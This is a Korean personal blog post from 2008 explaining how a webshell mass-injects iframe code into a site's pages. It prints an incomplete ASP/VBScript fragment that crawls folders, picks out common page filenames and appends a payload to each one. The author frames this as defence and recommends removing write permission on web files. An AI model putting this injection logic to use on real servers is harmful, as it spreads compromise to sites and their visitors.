Zasfe
Zasfe's memory
Zasfe
전체 방문자
557,295
오늘
0
어제
15
  • 분류 전체보기 (143)
    • 이야기 (50)
    • 뜻알기 (1)
    • 컴퓨터 (91)

인기 글

  • 리눅스에서 오라클 실행하기
    2014.07.04
  • 이벤트로그에 10016 Distribute⋯
    2014.10.07
    이벤트로그에 10016 Distribute⋯
  • 신뢰할수 있는 사이트 등록하기
    2009.05.22
  • [ASP] Session.Timeout 최대값⋯
    2009.12.08
    [ASP] Session.Timeout 최대값⋯
  • CentOS 5.x 설치후 X Window 설⋯
    2014.06.24

최근 글

  • 워나크라이(WannaCry) 대란
    2017.05.15
  • 이벤트로그에 10016 Distribute⋯
    2014.10.07
    이벤트로그에 10016 Distribute⋯
  • 리눅스에서 오라클 실행하기
    2014.07.04
  • CentOS 5.x 설치후 X Window 설⋯
    2014.06.24
  • CentOS 4.x Yum repo 재설정 방법
    2014.06.20

태그

  • error
  • Function
  • webknight2.1
  • webknight 2.2
  • webshell
  • VBScript
  • IIS
  • 배치파일
  • Castle
  • webknight2.2
  • cmd
  • 홈페이지 보안 강화도구
  • nslookup
  • rsync
  • 보안
  • Security
  • 생각
  • web.config
  • IIS7
  • MSSQL2K
  • backup
  • ASP
  • Microsoft Windows 2000 Scripting Guide
  • Autoit
  • 캐슬
  • MSSQL
  • webhacking
  • Skin
  • 저장프로시저
  • webknight
hELLO · Designed By 정상우.
Zasfe

Zasfe's memory

웹쉘을 이용한 iframe 코드를 추가원리
컴퓨터

웹쉘을 이용한 iframe 코드를 추가원리

2008. 9. 9. 14:29

다음 구문은 Scripting.FileSystemObject 를 이용해서 하위폴더를 포함한 특정 디렉토리내의 특정패턴을 가진 파일명을 가진 파일을 기준으로 특정코드를 추가하는 스크립트 입니다.

Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
    rtn=f.path
    step_all rtn
Next
If sf.Count<>0 Then
    For Each l In sf
        sch l
    Next
End If

Sub step_all(agr)
    retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr)
    If retVal Then
        step2 agr
    Else
        Exit Sub
    End If
End Sub
Sub step2(str2)
    Set fs=Server.createObject("Scripting.FileSystemObject")
    isExist=fs.FileExists(str2)
    If isExist Then
        Set f=fs.GetFile(str2)
        Set f_addcode=f.OpenAsTextStream(8,-2)
        if left(right(str2,8),4)="conn" then
            f_addcode.Write
        else
            f_addcode.Write addcode
            f_addcode.Close
            Set f=Nothing
        End If
    end if
    Set fs=Nothing
End Sub
 

Scripting.FileSystemObject 라는 개체를 이용하는 방법을 사용합니다.
웹사이트에서는 주로 파일에 대한 정보를 가져올때나, 실제 파일이 있는지를 체크하는 방법으로 많이 사용됩니다.

참고 : [MS기술문서] ASP 페이지에서 텍스트 파일을 조작하는 방법

윈도우서버에서 내장되어 있는 것이고, 웹사이트내에서 파일을 연결하는 부분에 제약이 발생하기때문에 이를 제거할수도 없습니다.

위와 같은 파일변조를 막는 방법은 웹소스의 변경 권한을 제거하는 방법뿐입니다.

사용자 삽입 이미지

'컴퓨터' 카테고리의 다른 글

nslookup 의 사용 방법  (0) 2008.09.29
ADODB 개체를 이용한 포트 스캔  (0) 2008.09.16
웹쉘을 이용한 iframe 코드를 추가원리  (2) 2008.09.09
webknight 2.2  (0) 2008.09.07
[ Autoit / MSSQL ] 데이터베이스를 사용하고자 할경우  (0) 2008.09.04
[ Autoit / CmdLine ] 커맨드라인을 입력받아 처리하는 함수의 일부입니다.  (0) 2008.09.04
    '컴퓨터' 카테고리의 다른 글
    • nslookup 의 사용 방법
    • ADODB 개체를 이용한 포트 스캔
    • webknight 2.2
    • [ Autoit / MSSQL ] 데이터베이스를 사용하고자 할경우
    IIS, Security, webhacking, webknight, webknight2.1, webknight2.2
    Zasfe
    Zasfe
    느낌. 기억
    댓글쓰기
    1. Favicon of http://offree.net/ BlogIcon 도아
      2008.09.12 13:58
      저는 IIS를 쓰는 사람을 이해하지 못하겠더군요. 여기 저기가 구멍인데...
      그리고 풍요롭고 알찬 한가위 되시기 바랍니다. 저는 오늘 서울로 출발합니다.
      수정/삭제댓글쓰기댓글보기
      1. zasfe
        2008.09.16 11:33
        웹서버는 역시 아파치가.;;
        하지만 지금 하는 일이 이런 구멍 숭숭뚤린 웹서버를 운영하는 일이라 답답한 마음만 가득합니다.

        하지만 이런 구멍슝 웹서버 덕도 있지만 고정관념 하나가 생겨버렸습니다.
        "대부분의 asp 개발자는 그나마 할수 있는 보안에도 신경을 쓰지 않는다." 라는 것입니다.
        수정/삭제
    다음 글
    ADODB 개체를 이용한 포트 스캔
    이전 글
    webknight 2.2
    • 이전
    • 1
    • ···
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • ···
    • 143
    • 다음

    티스토리툴바